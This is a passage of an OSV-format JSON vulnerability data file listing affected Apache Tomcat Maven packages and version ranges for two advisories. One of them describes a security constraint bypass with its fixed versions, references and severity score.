"9.0.55",
"9.0.56",
"9.0.58",
"9.0.59",
"9.0.6",
"9.0.60",
"9.0.62",
"9.0.63",
"9.0.64",
"9.0.65",
"9.0.67",
"9.0.68",
"9.0.69",
"9.0.7",
"9.0.70",
"9.0.71",
"9.0.72",
"9.0.73",
"9.0.74",
"9.0.75",
"9.0.76",
"9.0.78",
"9.0.79",
"9.0.8",
"9.0.80",
"9.0.81",
"9.0.82",
"9.0.83",
"9.0.84",
"9.0.85",
"9.0.86",
"9.0.87",
"9.0.88",
"9.0.89",
"9.0.90",
"9.0.91",
"9.0.93",
"9.0.94",
"9.0.95",
"9.0.96",
"9.0.97",
"9.0.98",
"9.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "8.5.0"
},
{
"last_affected": "8.5.100"
}
]
}
],
"versions": [
"8.5.0",
"8.5.100",
"8.5.11",
"8.5.12",
"8.5.13",
"8.5.14",
"8.5.15",
"8.5.16",
"8.5.19",
"8.5.2",
"8.5.20",
"8.5.21",
"8.5.23",
"8.5.24",
"8.5.27",
"8.5.28",
"8.5.29",
"8.5.3",
"8.5.30",
"8.5.31",
"8.5.32",
"8.5.33",
"8.5.34",
"8.5.35",
"8.5.37",
"8.5.38",
"8.5.39",
"8.5.4",
"8.5.40",
"8.5.41",
"8.5.42",
"8.5.43",
"8.5.45",
"8.5.46",
"8.5.47",
"8.5.49",
"8.5.5",
"8.5.50",
"8.5.51",
"8.5.53",
"8.5.54",
"8.5.55",
"8.5.56",
"8.5.57",
"8.5.58",
"8.5.59",
"8.5.6",
"8.5.60",
"8.5.61",
"8.5.63",
"8.5.64",
"8.5.65",
"8.5.66",
"8.5.68",
"8.5.69",
"8.5.70",
"8.5.71",
"8.5.72",
"8.5.73",
"8.5.75",
"8.5.76",
"8.5.77",
"8.5.78",
"8.5.79",
"8.5.8",
"8.5.81",
"8.5.82",
"8.5.83",
"8.5.84",
"8.5.85",
"8.5.86",
"8.5.87",
"8.5.88",
"8.5.89",
"8.5.9",
"8.5.90",
"8.5.91",
"8.5.92",
"8.5.93",
"8.5.94",
"8.5.95",
"8.5.96",
"8.5.97",
"8.5.98",
"8.5.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "7.0.30"
},
{
"last_affected": "7.0.109"
}
]
}
],
"versions": [
"7.0.100",
"7.0.103",
"7.0.104",
"7.0.105",
"7.0.106",
"7.0.107",
"7.0.108",
"7.0.109",
"7.0.30",
"7.0.32",
"7.0.33",
"7.0.34",
"7.0.35",
"7.0.37",
"7.0.39",
"7.0.40",
"7.0.41",
"7.0.42",
"7.0.47",
"7.0.50",
"7.0.52",
"7.0.53",
"7.0.54",
"7.0.55",
"7.0.56",
"7.0.57",
"7.0.59",
"7.0.61",
"7.0.62",
"7.0.63",
"7.0.64",
"7.0.65",
"7.0.67",
"7.0.68",
"7.0.69",
"7.0.70",
"7.0.72",
"7.0.73",
"7.0.75",
"7.0.76",
"7.0.77",
"7.0.78",
"7.0.79",
"7.0.81",
"7.0.82",
"7.0.84",
"7.0.85",
"7.0.86",
"7.0.88",
"7.0.90",
"7.0.91",
"7.0.92",
"7.0.93",
"7.0.94",
"7.0.96",
"7.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.25"
}
]
}
],
"versions": [
"11.0.0",
"11.0.0-M1",
"11.0.0-M10",
"11.0.0-M11",
"11.0.0-M12",
"11.0.0-M13",
"11.0.0-M14",
"11.0.0-M15",
"11.0.0-M16",
"11.0.0-M17",
"11.0.0-M18",
"11.0.0-M19",
"11.0.0-M20",
"11.0.0-M21",
"11.0.0-M22",
"11.0.0-M24",
"11.0.0-M25",
"11.0.0-M26",
"11.0.0-M3",
"11.0.0-M4",
"11.0.0-M5",
"11.0.0-M6",
"11.0.0-M7",
"11.0.0-M9",
"11.0.1",
"11.0.10",
"11.0.11",
"11.0.12",
"11.0.13",
"11.0.14",
"11.0.15",
"11.0.18",
"11.0.2",
"11.0.20",
"11.0.21",
"11.0.22",
"11.0.23",
"11.0.24",
"11.0.3",
"11.0.4",
"11.0.5",
"11.0.6",
"11.0.7",
"11.0.8",
"11.0.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.58"
}
]
}
],
"versions": [
"10.1.0",
"10.1.0-M1",
"10.1.0-M10",
"10.1.0-M11",
"10.1.0-M12",
"10.1.0-M14",
"10.1.0-M15",
"10.1.0-M16",
"10.1.0-M17",
"10.1.0-M2",
"10.1.0-M4",
"10.1.0-M5",
"10.1.0-M6",
"10.1.0-M7",
"10.1.0-M8",
"10.1.1",
"10.1.10",
"10.1.11",
"10.1.12",
"10.1.13",
"10.1.14",
"10.1.15",
"10.1.16",
"10.1.17",
"10.1.18",
"10.1.19",
"10.1.2",
"10.1.20",
"10.1.23",
"10.1.24",
"10.1.25",
"10.1.26",
"10.1.28",
"10.1.29",
"10.1.30",
"10.1.31",
"10.1.33",
"10.1.34",
"10.1.35",
"10.1.36",
"10.1.39",
"10.1.4",
"10.1.40",
"10.1.41",
"10.1.42",
"10.1.43",
"10.1.44",
"10.1.45",
"10.1.46",
"10.1.47",
"10.1.48",
"10.1.49",
"10.1.5",
"10.1.50",
"10.1.52",
"10.1.53",
"10.1.54",
"10.1.55",
"10.1.56",
"10.1.57",
"10.1.6",
"10.1.7",
"10.1.8",
"10.1.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "9.0.0.M1"
},
{
"fixed": "9.0.121"
}
]
}
],
"versions": [
"9.0.0.M1",
"9.0.0.M10",
"9.0.0.M11",
"9.0.0.M13",
"9.0.0.M15",
"9.0.0.M17",
"9.0.0.M18",
"9.0.0.M19",
"9.0.0.M20",
"9.0.0.M21",
"9.0.0.M22",
"9.0.0.M25",
"9.0.0.M26",
"9.0.0.M27",
"9.0.0.M3",
"9.0.0.M4",
"9.0.0.M6",
"9.0.0.M8",
"9.0.0.M9",
"9.0.1",
"9.0.10",
"9.0.100",
"9.0.102",
"9.0.104",
"9.0.105",
"9.0.106",
"9.0.107",
"9.0.108",
"9.0.109",
"9.0.11",
"9.0.110",
"9.0.111",
"9.0.112",
"9.0.113",
"9.0.115",
"9.0.116",
"9.0.117",
"9.0.118",
"9.0.119",
"9.0.12",
"9.0.120",
"9.0.13",
"9.0.14",
"9.0.16",
"9.0.17",
"9.0.19",
"9.0.2",
"9.0.20",
"9.0.21",
"9.0.22",
"9.0.24",
"9.0.26",
"9.0.27",
"9.0.29",
"9.0.30",
"9.0.31",
"9.0.33",
"9.0.34",
"9.0.35",
"9.0.36",
"9.0.37",
"9.0.38",
"9.0.39",
"9.0.4",
"9.0.40",
"9.0.41",
"9.0.43",
"9.0.44",
"9.0.45",
"9.0.46",
"9.0.48",
"9.0.5",
"9.0.50",
"9.0.52",
"9.0.53",
"9.0.54",
"9.0.55",
"9.0.56",
"9.0.58",
"9.0.59",
"9.0.6",
"9.0.60",
"9.0.62",
"9.0.63",
"9.0.64",
"9.0.65",
"9.0.67",
"9.0.68",
"9.0.69",
"9.0.7",
"9.0.70",
"9.0.71",
"9.0.72",
"9.0.73",
"9.0.74",
"9.0.75",
"9.0.76",
"9.0.78",
"9.0.79",
"9.0.8",
"9.0.80",
"9.0.81",
"9.0.82",
"9.0.83",
"9.0.84",
"9.0.85",
"9.0.86",
"9.0.87",
"9.0.88",
"9.0.89",
"9.0.90",
"9.0.91",
"9.0.93",
"9.0.94",
"9.0.95",
"9.0.96",
"9.0.97",
"9.0.98",
"9.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "8.5.0"
},
{
"last_affected": "8.5.100"
}
]
}
],
"versions": [
"8.5.0",
"8.5.100",
"8.5.11",
"8.5.12",
"8.5.13",
"8.5.14",
"8.5.15",
"8.5.16",
"8.5.19",
"8.5.2",
"8.5.20",
"8.5.21",
"8.5.23",
"8.5.24",
"8.5.27",
"8.5.28",
"8.5.29",
"8.5.3",
"8.5.30",
"8.5.31",
"8.5.32",
"8.5.33",
"8.5.34",
"8.5.35",
"8.5.37",
"8.5.38",
"8.5.39",
"8.5.4",
"8.5.40",
"8.5.41",
"8.5.42",
"8.5.43",
"8.5.45",
"8.5.46",
"8.5.47",
"8.5.49",
"8.5.5",
"8.5.50",
"8.5.51",
"8.5.53",
"8.5.54",
"8.5.55",
"8.5.56",
"8.5.57",
"8.5.58",
"8.5.59",
"8.5.6",
"8.5.60",
"8.5.61",
"8.5.63",
"8.5.64",
"8.5.65",
"8.5.66",
"8.5.68",
"8.5.69",
"8.5.70",
"8.5.71",
"8.5.72",
"8.5.73",
"8.5.75",
"8.5.76",
"8.5.77",
"8.5.78",
"8.5.79",
"8.5.8",
"8.5.81",
"8.5.82",
"8.5.83",
"8.5.84",
"8.5.85",
"8.5.86",
"8.5.87",
"8.5.88",
"8.5.89",
"8.5.9",
"8.5.90",
"8.5.91",
"8.5.92",
"8.5.93",
"8.5.94",
"8.5.95",
"8.5.96",
"8.5.97",
"8.5.98",
"8.5.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "7.0.30"
},
{
"last_affected": "7.0.109"
}
]
}
],
"versions": [
"7.0.100",
"7.0.103",
"7.0.104",
"7.0.105",
"7.0.106",
"7.0.107",
"7.0.108",
"7.0.109",
"7.0.30",
"7.0.32",
"7.0.33",
"7.0.34",
"7.0.35",
"7.0.37",
"7.0.39",
"7.0.40",
"7.0.41",
"7.0.42",
"7.0.47",
"7.0.50",
"7.0.52",
"7.0.53",
"7.0.54",
"7.0.55",
"7.0.56",
"7.0.57",
"7.0.59",
"7.0.61",
"7.0.62",
"7.0.63",
"7.0.64",
"7.0.65",
"7.0.67",
"7.0.68",
"7.0.69",
"7.0.70",
"7.0.72",
"7.0.73",
"7.0.75",
"7.0.76",
"7.0.77",
"7.0.78",
"7.0.79",
"7.0.81",
"7.0.82",
"7.0.84",
"7.0.85",
"7.0.86",
"7.0.88",
"7.0.90",
"7.0.91",
"7.0.92",
"7.0.93",
"7.0.94",
"7.0.96",
"7.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
}
],
"schema_version": "1.9.0",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}
]
},
{
"id": "GHSA-gcx9-497g-6cp6",
"summary": "Apache Tomcat has an Improper Access Control, Incorrect Authorization vulnerability",
"details": "Improper Access Control, Incorrect Authorization vulnerability in Apache Tomcat leads to security constraint bypass if a constraint for a longer path is specified before a more restrictive constraint for a shorter sub-path.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.0.M1 through 9.0.120, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.\n\nUsers are recommended to upgrade to version 11.0.25, 10.1.58, 9.0.121, which fixes the issue.",
"aliases": [
"BIT-tomcat-2026-65182",
"CVE-2026-65182"
],
"modified": "2026-09-11T08:25:41.300012858Z",
"published": "2026-08-26T00:30:52Z",
"database_specific": {
"severity": "CRITICAL",
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T22:37:43Z",
"nvd_published_at": "2026-08-25T22:17:04Z",
"cwe_ids": [
"CWE-284"
]
},
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65182"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/8bafd79a3b54684e80e9cb1bafd4746aede7d3f5"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/b2c56ec8f20c66773a1a813034ffcdb60841f1cf"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/b79752d2a8578d94743e2a95c50af297f780c0df"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/joosxvzc9b49ttj8lj0jw9mqt0ml767m"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-10.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-11.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-9.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/26/1"
}
],
"affected": [
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.25"
}
]
}
],
"versions": [
"11.0.0",
"11.0.0-M1",
"11.0.0-M10",
"11.0.0-M11",
"11.0.0-M12",
"11.0.0-M13",
"11.0.0-M14",
"11.0.0-M15",
"11.0.0-M16",
"11.0.0-M17",
"11.0.0-M18",
"11.0.0-M19",
"11.0.0-M20",
"11.0.0-M21",
"11.0.0-M22",
"11.0.0-M24",
"11.0.0-M25",
"11.0.0-M26",
"11.0.0-M3",
"11.0.0-M4",
"11.0.0-M5",
"11.0.0-M6",
"11.0.0-M7",
"11.0.0-M9",
"11.0.1",
"11.0.10",
"11.0.11",
"11.0.12",
"11.0.13",
"11.0.14",
"11.0.15",
"11.0.18",
"11.0.2",
"11.0.20",
"11.0.21",
"11.0.22",
"11.0.23",
"11.0.24",
"11.0.3",
"11.0.4",
"11.0.5",
"11.0.6",
"11.0.7",
"11.0.8",
"11.0.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.58"
}
]
}
],
"versions": [
"10.1.0",
"10.1.0-M1",
"10.1.0-M10",
"10.1.0-M11",
"10.1.0-M12",
"10.1.0-M14",
"10.1.0-M15",
"10.1.0-M16",
"10.1.0-M17",
"10.1.0-M2",
"10.1.0-M4",
"10.1.0-M5",
"10.1.0-M6",
"10.1.0-M7",
"10.1.0-M8",
"10.1.1",
"10.1.10",
"10.1.11",
"10.1.12",
"10.1.13",
"10.1.14",
"10.1.15",
"10.1.16",
"10.1.17",
"10.1.18",
"10.1.19",
"10.1.2",
"10.1.20",
"10.1.23",
"10.1.24",
"10.1.25",
"10.1.26",
"10.1.28",
"10.1.29",
"10.1.30",
"10.1.31",
"10.1.33",
"10.1.34",
"10.1.35",
"10.1.36",
"10.1.39",
"10.1.4",
"10.1.40",
"10.1.41",
"10.1.42",
"10.1.43",
"10.1.44",
"10.1.45",
"10.1.46",
"10.1.47",
"10.1.48",
"10.1.49",
"10.1.5",
"10.1.50",
"10.1.52",
"10.1.53",
"10.1.54",
"10.1.55",
"10.1.56",
"10.1.57",
"10.1.6",
"10.1.7",
"10.1.8",
"10.1.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "9.0.0-M1"
},
{
"fixed": "9.0.121"
}
]
}
],
"versions": [
"9.0.0.M1",
"9.0.0.M10",
"9.0.0.M11",
"9.0.0.M13",
"9.0.0.M15",
"9.0.0.M17",
"9.0.0.M18",
"9.0.0.M19",
"9.0.0.M20",
"9.0.0.M21",
"9.0.0.M22",
"9.0.0.M25",
"9.0.0.M26",
"9.0.0.M27",
"9.0.0.M3",
"9.0.0.M4",
"9.0.0.M6",
"9.0.0.M8",
"9.0.0.M9",
"9.0.1",
"9.0.10",
"9.0.100",
"9.0.102",
"9.0.104",
"9.0.105",
"9.0.106",
"9.0.107",
"9.0.108",
"9.0.109",
"9.0.11",
"9.0.110",
"9.0.111",
"9.0.112",
"9.0.113",
"9.0.115",
"9.0.116",
"9.0.117",
"9.0.118",
"9.0.119",
"9.0.12",
"9.0.120",
"9.0.13",
"9.0.14",
"9.0.16",
"9.0.17",
"9.0.19",
"9.0.2",
"9.0.20",
"9.0.21",
"9.0.22",
"9.0.24",
"9.0.26",
"9.0.27",
"9.0.29",
"9.0.30",
"9.0.31",
"9.0.33",
"9.0.34",
"9.0.35",
"9.0.36",
"9.0.37",
"9.0.38",
"9.0.39",
"9.0.4",
"9.0.40",
"9.0.41",
"9.0.43",
"9.0.44",
"9.0.45",
"9.0.46",
"9.0.48",
"9.0.5",
"9.0.50",
"9.0.52",
"9.0.53",
"9.0.54",
"9.0.55",
"9.0.56",
"9.0.58",
"9.0.59",
"9.0.6",
"9.0.60",
"9.0.62",
"9.0.63",
"9.0.64",
"9.0.65",
"9.0.67",
"9.0.68",
"9.0.69",
"9.0.7",
"9.0.70",
"9.0.71",
"9.0.72",
"9.0.73",
"9.0.74",
"9.0.75",
"9.0.76",
"9.0.78",
"9.0.79",
"9.0.8",
"9.0.80",
"9.0.81",
"9.0.82",
"9.0.83",
"9.0.84",
"9.0.85",
"9.0.86",
"9.0.87",
"9.0.88",
"9.0.89",
"9.0.90",
"9.0.91",
"9.0.93",
"9.0.94",
"9.0.95",
"9.0.96",
"9.0.97",
"9.0.98",
"9.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "8.5.0"
},
{
"last_affected": "8.5.100"
}
]
}
],
"versions": [
"8.5.0",
"8.5.100",
"8.5.11",
"8.5.12",
"8.5.13",
"8.5.14",
"8.5.15",
"8.5.16",
"8.5.19",
"8.5.2",
"8.5.20",
"8.5.21",
"8.5.23",
"8.5.24",
"8.5.27",
"8.5.28",
"8.5.29",
"8.5.3",
"8.5.30",
"8.5.31",
"8.5.32",
"8.5.33",
"8.5.34",
"8.5.35",
"8.5.37",
"8.5.38",
"8.5.39",
"8.5.4",
"8.5.40",
"8.5.41",
"8.5.42",
"8.5.43",
"8.5.45",
"8.5.46",
"8.5.47",
"8.5.49",
"8.5.5",
"8.5.50",
"8.5.51",
"8.5.53",
"8.5.54",
"8.5.55",
"8.5.56",
"8.5.57",
"8.5.58",
"8.5.59",
"8.5.6",
"8.5.60",
"8.5.61",
"8.5.63",
"8.5.64",
"8.5.65",
"8.5.66",
"8.5.68",
"8.5.69",
"8.5.70",
"8.5.71",
"8.5.72",
"8.5.73",
"8.5.75",
"8.5.76",
"8.5.77",
"8.5.78",
"8.5.79",
"8.5.8",
"8.5.81",
"8.5.82",
"8.5.83",
"8.5.84",
"8.5.85",
"8.5.86",
"8.5.87",
"8.5.88",
"8.5.89",
"8.5.9",
"8.5.90",
"8.5.91",
"8.5.92",
"8.5.93",
"8.5.94",
"8.5.95",
"8.5.96",
"8.5.97",
"8.5.98",
"8.5.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "7.0.0"
},
{
"last_affected": "7.0.109"
}
]
}
],
"versions": [
"7.0.100",
"7.0.103",
"7.0.104",
"7.0.105",
"7.0.106",
"7.0.107",
"7.0.108",
"7.0.109",
"7.0.35",
"7.0.37",
"7.0.39",
"7.0.40",
"7.0.41",
"7.0.42",
"7.0.47",
"7.0.50",
"7.0.52",
"7.0.53",
"7.0.54",
"7.0.55",
"7.0.56",
"7.0.57",
"7.0.59",
"7.0.61",
"7.0.62",
"7.0.63",
"7.0.64",
"7.0.65",
"7.0.67",
"7.0.68",
"7.0.69",
"7.0.70",
"7.0.72",
"7.0.73",
"7.0.75",
"7.0.76",
"7.0.77",
"7.0.78",
"7.0.79",
"7.0.81",
"7.0.82",
"7.0.84",
"7.0.85",
"7.0.86",
"7.0.88",
"7.0.90",
"7.0.91",
"7.0.92",
"7.0.93",
"7.0.94",
"7.0.96",
"7.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.25"
}
]
}
],
"versions": [
"11.0.0",
"11.0.0-M1",
"11.0.0-M10",
"11.0.0-M11",
"11.0.0-M12",
"11.0.0-M13",
"11.0.0-M14",
"11.0.0-M15",
"11.0.0-M16",
"11.0.0-M17",
"11.0.0-M18",
"11.0.0-M19",
"11.0.0-M20",
"11.0.0-M21",
"11.0.0-M22",
"11.0.0-M24",
"11.0.0-M25",
"11.0.0-M26",
"11.0.0-M3",
"11.0.0-M4",
"11.0.0-M5",
"11.0.0-M6",
"11.0.0-M7",
"11.0.0-M9",
"11.0.1",
"11.0.10",
"11.0.11",
"11.0.12",
"11.0.13",
"11.0.14",
"11.0.15",
"11.0.18",
"11.0.2",
"11.0.20",
"11.0.21",
"11.0.22",
"11.0.23",
"11.0.24",
"11.0.3",
"11.0.4",
"11.0.5",
"11.0.6",
"11.0.7",
"11.0.8",
"11.0.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.58"
}
]
}
],
"versions": [
"10.1.0",
"10.1.0-M1",
"10.1.0-M10",
"10.1.0-M11",
"10.1.0-M12",
"10.1.0-M14",
"10.1.0-M15",
"10.1.0-M16",
"10.1.0-M17",
"10.1.0-M2",
"10.1.0-M4",
"10.1.0-M5",
"10.1.0-M6",
"10.1.0-M7",
"10.1.0-M8",
"10.1.1",
"10.1.10",
"10.1.11",
"10.1.12",
"10.1.13",
"10.1.14",
"10.1.15",
"10.1.16",
"10.1.17",
"10.1.18",
"10.1.19",
"10.1.2",
"10.1.20",
"10.1.23",
"10.1.24",
"10.1.25",
"10.1.26",
"10.1.28",
"10.1.29",
"10.1.30",
"10.1.31",
"10.1.33",
"10.1.34",
"10.1.35",
"10.1.36",
"10.1.39",
"10.1.4",
"10.1.40",
"10.1.41",
"10.1.42",
"10.1.43",
"10.1.44",
"10.1.45",
"10.1.46",
"10.1.47",
"10.1.48",
"10.1.49",
"10.1.5",
"10.1.50",
"10.1.52",
"10.1.53",
"10.1.54",
"10.1.55",
"10.1.56",
"10.1.57",
"10.1.6",
"10.1.7",
"10.1.8",
"10.1.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "9.0.0-M1"
},
{
"fixed": "9.0.121"
}
]
}
],
"versions": [
"9.0.0.M1",
"9.0.0.M10",
"9.0.0.M11",
"9.0.0.M13",
"9.0.0.M15",
"9.0.0.M17",
"9.0.0.M18",
"9.0.0.M19",
"9.0.0.M20",
"9.0.0.M21",
"9.0.0.M22",
"9.0.0.M25",
"9.0.0.M26",
"9.0.0.M27",
"9.0.0.M3",
"9.0.0.M4",
"9.0.0.M6",
"9.0.0.M8",
"9.0.0.M9",
"9.0.1",
"9.0.10",
"9.0.100",
"9.0.102",
"9.0.104",
"9.0.105",
"9.0.106",
"9.0.107",
"9.0.108",
"9.0.109",
"9.0.11",
"9.0.110",
"9.0.111",
"9.0.112",
"9.0.113",
"9.0.115",
"9.0.116",
"9.0.117",
"9.0.118",
"9.0.119",
"9.0.12",
"9.0.120",
"9.0.13",
"9.0.14",
"9.0.16",
"9.0.17",
"9.0.19",
"9.0.2",
"9.0.20",
"9.0.21",
"9.0.22",
"9.0.24",
"9.0.26",
"9.0.27",
"9.0.29",
"9.0.30",
"9.0.31",
"9.0.33",
"9.0.34",
"9.0.35",
"9.0.36",
"9.0.37",
"9.0.38",
"9.0.39",
"9.0.4",
"9.0.40",
"9.0.41",
"9.0.43",
"9.0.44",
"9.0.45",
"9.0.46",
"9.0.48",
"9.0.5",
"9.0.50",
"9.0.52",
"9.0.53",
"9.0.54",
"9.0.55",
"9.0.56",
"9.0.58",
"9.0.59",
"9.0.6",
"9.0.60",
"9.0.62",
"9.0.63",
"9.0.64",
"9.0.65",
"9.0.67",
"9.0.68",
"9.0.69",
"9.0.7",
"9.0.70",
"9.0.71",
"9.0.72",
"9.0.73",
"9.0.74",
"9.0.75",
"9.0.76",
"9.0.78",
"9.0.79",
"9.0.8",
"9.0.80",
"9.0.81",
"9.0.82",
"9.0.83",
"9.0.84",
"9.0.85",
"9.0.86",
"9.0.87",
"9.0.88",
"9.0.89",
"9.0.90",
"9.0.91",
"9.0.93",
"9.0.94",
"9.0.95",
"9.0.96",
"9.0.97",
"9.0.98",
"9.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat-catalina",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat-catalina"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "8.5.0"
},
{
"last_affected": "8.5.100"
}
]
}
],
"versions": [
"8.5.0",
"8.5.100",
"8.5.11",
"8.5.12",
"8.5.13",
"8.5.14",
"8.5.15",
"8.5.16",
"8.5.19",
"8.5.2",
"8.5.20",
"8.5.21",
"8.5.23",
"8.5.24",
"8.5.27",
"8.5.28",
"8.5.29",
"8.5.3",
"8.5.30",
"8.5.31",
"8.5.32",
"8.5.33",
"8.5.34",
"8.5.35",
"8.5.37",
"8.5.38",
"8.5.39",
"8.5.4",
"8.5.40",
"8.5.41",
"8.5.42",
"8.5.43",
"8.5.45",
"8.5.46",
"8.5.47",
"8.5.49",
"8.5.5",
"8.5.50",
"8.5.51",
"8.5.53",
"8.5.54",
"8.5.55",
"8.5.56",
"8.5.57",
